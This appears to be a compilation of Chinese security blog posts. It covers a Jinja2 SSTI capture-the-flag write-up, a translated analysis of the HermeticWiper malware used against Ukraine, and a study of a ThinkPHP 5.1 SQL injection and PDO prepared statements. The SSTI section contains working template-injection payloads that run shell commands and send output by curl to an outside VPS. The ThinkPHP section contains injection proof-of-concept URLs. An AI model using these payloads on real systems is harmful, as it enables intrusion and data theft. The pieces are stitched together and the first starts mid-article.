{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read()}}

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read()}}

没有回显的 SSTI

当目标存在 SSTI 漏洞但是没有payload执行的回显时,我们可以使用 os.popencurl 将执行结果外带出来。

例如下面这道题。进入题目后,会让你输入一个姓名然后将其输出:

经测试目标存在SSTI漏洞,但是过滤了 {{}},我们可以使用 {%print(......)%} 的形式来绕过。

{%print(''.__class__)%}

但是执行后却没有任何回显了,所以我们还得换一条路子。这里我们使用 {% if ... %}1{% endif %} 配合 os.popencurl 外带数据的方法。

首先在自己vps上面开启监听:

然后执行如下payload在根目录里面寻找flag:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.xxx.xxx.72:2333 -d `ls /|grep flag`') %}1{% endif %}

如下图所示,发现flag文件:

执行如下payload读取flag:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.xxx.xxx.72:2333 -d `cat /flag_1s_Hera`') %}1{% endif %}

读取成功:

未完待续……

参考:

https://evi0s.com/2018/11/26/深入SSTI-从NCTF2018两道Flask看bypass新姿势

https://misakikata.github.io/2020/04/python-沙箱逃逸与SSTI

https://www.gem-love.com/ctf/2598.html

乌克兰网络攻击的新型破坏性恶意软件

翻译的国外文章:https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/

执行摘要

  • 2 月 23 日,威胁情报社区开始观察在乌克兰组织中传播的新的擦除恶意软件样本。
  • 我们的分析表明,在删除卷影副本并在重新启动后操纵 MBR 之后,使用签名的驱动程序来部署擦除 Windows 设备的擦除器。
  • 此博客包含名为 HermeticWiper 的擦除器的技术细节,并包含 IOC,以使组织能够免受这种攻击。
  • 这个样本正被积极地用于对付乌克兰组织,随着更多信息的出现,这个博客将被更新。
  • SentinelOne 客户可以免受这种威胁,无需采取任何行动。

背景

2 月 23 日,我们在赛门铁克和 ESET 研究部门的朋友在推特上发布了与乌克兰擦除器攻击相关的哈希值,其中包括在撰写本文时尚未公开的哈希值。

我们开始分析这种新的擦除器恶意软件,将其称为“HermeticWiper”,指的是用于签署样本的数字证书。该数字证书以公司名称“Hermetica Digital Ltd”颁发,有效期为 2021 年 4 月。目前,我们还没有看到任何使用此证书签名的合法文件。攻击者可能使用空壳公司或挪用已倒闭的公司来颁发此数字证书。


HermeticWiper 数字签名

这是分析第一个可用的 HermeticWiper 样本的早期工作。我们认识到乌克兰当地局势正在迅速发展,并希望我们能够为集体分析工作贡献自己的一小部分。

技术分析

乍一看,HermeticWiper 似乎是一个自定义编写的应用程序,标准功能很少。恶意软件样本大小为 114KB,其中大约 70% 由资源组成。开发人员正在使用经过验证的擦除恶意软件技术,滥用良性分区管理驱动程序,以执行其攻击中更具破坏性的组件。Lazarus Group ( Destover ) 和 APT33 ( Shamoon ) 都利用了 Eldos Rawdisk 的优势,以便在不调用 Windows API 的情况下获得对文件系统的直接用户态访问。HermeticWiper 通过滥用不同的驱动程序来使用类似的技术empntdrv.sys


包含 EaseUS Partition Manager 驱动程序的 HermeticWiper 资源

驱动程序的副本是 ms 压缩资源。恶意软件根据操作系统版本、位数和 SysWow64 重定向部署其中之一。


EaseUS驱动资源选择

当涉及到直接访问物理驱动器以及获取分区信息时,良性的 EaseUS 驱动程序被滥用来承担相当一部分繁重的工作。这增加了分析 HermeticWiper 的难度,因为许多功能被推迟到DeviceIoControl使用特定 IOCTL 的调用。

MBR 和分区损坏

HermeticWiper 从 0 到 100 多次枚举一系列物理驱动器。对于每个物理驱动器,\\.\EPMNTDRV\都会调用设备以获取设备编号。

然后,恶意软件专注于破坏前 512 个字节,即每个物理驱动器的主引导记录 (MBR)。虽然这应该足以让设备不再启动,但 HermeticWiper 继续枚举所有可能驱动器的分区。

然后他们区分 FAT 和 NTFS 分区。在 FAT 分区的情况下,恶意软件会调用相同的“bit fiddler”来破坏分区。对于 NTFS,HermeticWiper 在再次调用相同的位摆弄函数之前解析主文件表。


MFT 解析和位摆弄调用

为简洁起见,我们委婉地指代位摆弄功能。通过它,我们看到对 Windows API 的调用以获取加密上下文提供程序并生成随机字节。这很可能被用于内联加密实现和字节覆盖,但目前该机制并不完全清楚。

进一步的功能是指有趣的 MFT 字段 ( $bitmap$logfile) 和NTFS 流$DATA$I30$INDEX_ALLOCATION)。该恶意软件还会枚举常用文件夹(“我的文档”、“桌面”、“AppData”),引用注册表(“ntuser”)和 Windows 事件日志("\\\\?\\C:\\Windows\\System32\\winevt\\Logs")。我们正在进行分析以确定如何使用此功能,但很明显,由于已经损坏了所有驱动器的 MBR 和分区,受害系统在执行时应该无法运行。

在此过程中,HermeticWiper 更普通的操作为我们提供了更多的 IOC 来监控。其中包括临时创建被滥用的驱动程序以及系统服务。它还修改了几个注册表键,包括将SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled键设置为 0 ,在被滥用的驱动程序开始执行之前有效地禁用故障转储。


通过注册表禁用 CrashDump

最后,恶意软件在启动系统关闭之前等待休眠线程,最终确定恶意软件的破坏性影响。

结论

经过一周的破坏和不断增加的 DDoS 攻击,通过擦除恶意软件进行的破坏操作的扩散是预期的和令人遗憾的升级。目前,我们对乌克兰的袭击以及随后蔓延到邻国和盟国的情况只有很小的了解。如果说这种困难的情况有一线希望的话,那就是威胁情报研究团队、独立研究人员和记者之间的开放合作,他们希望了解真相。我们感谢赛门铁克、ESET、Stairwell 和 RedCanary 等提供样本、时间和专业知识的研究人员。

Thinkphp5 SQL注入漏洞引发的思考

文章首发于先知社区:Thinkphp5 SQL注入漏洞引发的思考

Thinkphp5

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。

最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

某些版本的Thinkphp存在一些漏洞,比如Thinkphp 5.1.(16-22) sql注入漏洞

POC

http://********/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 

漏洞描述

在ThinkPHP 5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。(CVE-2018-16385)

一点思考

这个漏洞虽然是sql注入,但是比较鸡肋。。。

为什么这么讲呢?我们测试一下,就会发现报错注入的时候,我们只能爆出类似于user()、database()这类最基础的信息,而不能进行子查询,获取不到更加关键的信息。

这样的原因是用参数化查询PDO,将参数与查询语句分离,进而降低了漏洞风险。

PDO分析

下面将会针对thinkphp 5.1.17框架的PDO进行分析。

PDO介绍

我们可以把它看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制。预处理语句可以带来两大好处:

  • 查询仅需解析(或预处理)一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划。对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度。通过使用预处理语句,可以避免重复分析/编译/优化周期。简而言之,预处理语句占用更少的资源,因而运行得更快。
  • 提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入。(然而,如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险)。

预处理语句如此有用,以至于它们唯一的特性是在驱动程序不支持 PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能,都可以确保应用程序可以用相同的数据访问模式。

如果还不理解的话,我们可以看看PDO预编译执行过程

  1. prepare($SQL) 编译SQL语句
  2. bindValue($param,$value) 将value绑定到param的位置上

    prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
    $stmt->bindParam(1, $name);
    $stmt->bindParam(2, $value);
    
    // 插入一行
    $name = 'one';
    $value = 1;
    $stmt->execute();
    
    // 用不同的值插入另一行
    $name = 'two';
    $value = 2;
    $stmt->execute();
    ?>
  3. execute() 执行

    prepare("CALL sp_returns_string(?)");
    $stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000); 
    
    // 调用存储过程
    $stmt->execute();
    
    print "procedure returned $return_value\n";
    ?>

报错原因

预编译SQL语句的时候发生错误,从而产生报错

当 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,所以理论上确保不会发生SQL注入。

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误使得报错(单纯的语句报错)既然如此我们实际上报错利用点在哪里呢?

实际上,在预编译的时候,也就是第一步即可利用

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现,虽然只调用prepare(),但原SQL语句中的报错已经成功执行:

是因为这里设置了PDO::ATTR_EMULATE_PREPARES => false

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。

而在thinkphp 5.1.17中的默认配置

// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

但是,在这个POC中

/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。应该是预编译在mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但user()数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

修改子查询语句

如果我们把user()改成一个子查询语句呢?

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
       $link = $db->prepare('SELECT * FROM `users` WHERE  `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');

} catch (\PDOException $e) {
    var_dump($e);
}

虽然我们使用了updatexml函数,但是他可能不接触数据:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

把updatexml函数去掉

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE  id IN (:where_id_in_0)union(select~1,2)');
    var_dump($link);
    $link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
} catch (\PDOException $e) {
    var_dump($e);
}

这样就会报Invalid parameter number: parameter was not defined

在上面绑定的变量中,让:符号后面的字符串中不出现空格。但是在PDO的prepare()编译sql语句这个过程中,pdo已经把(:)内的内容认为时PDO绑定的变量,所以在第二步bindValue()步骤中,才会报错parameter was not defined

也就说这两步数据不匹配,导致无法正常执行第三步查询我们想要得字段

总结

Thinkphp5 框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题,但过多的信任导致这里是在参数绑定的过程中产生了注入,不过采用的PDO机制也可以说是将危害降到了最小。